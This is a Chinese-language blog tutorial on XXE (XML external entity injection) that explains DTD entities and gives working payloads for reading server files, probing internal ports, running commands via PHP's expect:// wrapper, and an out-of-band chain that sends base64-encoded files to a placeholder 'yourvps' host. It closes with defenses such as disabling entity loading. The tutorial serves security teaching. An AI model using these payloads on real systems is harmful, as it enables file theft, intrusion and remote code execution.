XXE原理及利用防御

本文深入探讨了XXE(XML External Entity Injection)漏洞,包括其概念、利用方式如文件读取、内网探测和远程代码执行。通过示例展示了如何构造XML文档触发XXE,并列举了多种协议利用和无回显情况下的攻击手段。最后,提出了禁用外部实体和过滤用户输入等防御措施。

XXE

概述

XXE

XXE 漏洞全称XML External Entity Injection,即 xml 外部实体注入漏洞,XXE 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

DTD

文档类型定义(DTD)可定义合法的 XML 文档构建模块它使用一系列合法的元素来定义文档的结构DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用

  • 内部的 DOCTYPE 声明
<!DOCTYPE 根元素 [元素声明]>
  • 外部文档声明
<!DOCTYPE 根元素 SYSTEM ”文件名”> //引用本地文件
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">  //引用网络文件

DTD 实体

就是定义一个变量来提取冗余数据。
内部实体声明

<!ENTITY 实体名称 ”实体的值”>

外部实体声明

<!ENTITY 实体名称 SYSTEM ”URI”>

参数实体声明

<!ENTITY %实体名称 ”实体的值”>
<!ENTITY %实体名称 SYSTEM ”URI”>

不了解xml和dtd的可以看我前面两篇文章
xml概述
xml文件约束dtd

XXE利用

  • 读文件
    类似这样,如果有回显的话就可以利用file协议读取服务器的文件
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "file:///C:/windows/win.ini">  
]>
<root>&name;</root>
  • 内网探针或攻击内网应用(触发漏洞地址)
    利用http协议来探针内网的文件和端口
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "http://loaclhost:8080/index.html">  
]>
<root>&name;</root>
  • RCE
    由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个 expect 扩展我们就能直接利用 XXE 进行 RCE 。
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
	<file>
		&cmd
	</file>
</dir>  
  • 引入外部实体 dtd
<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "http://your.com/evil.dtd">  
]>
<root>&name;</root>
  • 无回显-读取文件
    xxe.xml文件
<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

通过%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去,在vps服务器的日志文件就可以看到base64加密后的内容

  • 协议-读文件(绕过)
    利用不同的协议去绕过防御,类似php:filter php:input等在文件包含中出现过的php伪协议都可以用上
  • 有时当前请求可以接收xml数据包,但是数据包格式不是xml,可以改请求头Content-Type 为xml格式,在把xml文件放到请求体里。

XXE漏洞修复与防御方案

禁用外部实体

PHP: libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexml Data = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

过滤用户提交的 XML 数据

过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC

工具使用

XXEinjector的漏洞利用工具,XXEinjector是一款基于Ruby的XXE注入工具,
它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。
详细工具使用

参考文章
从XML相关一步一步到XXE漏洞
# XXE 打怪升级之路

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值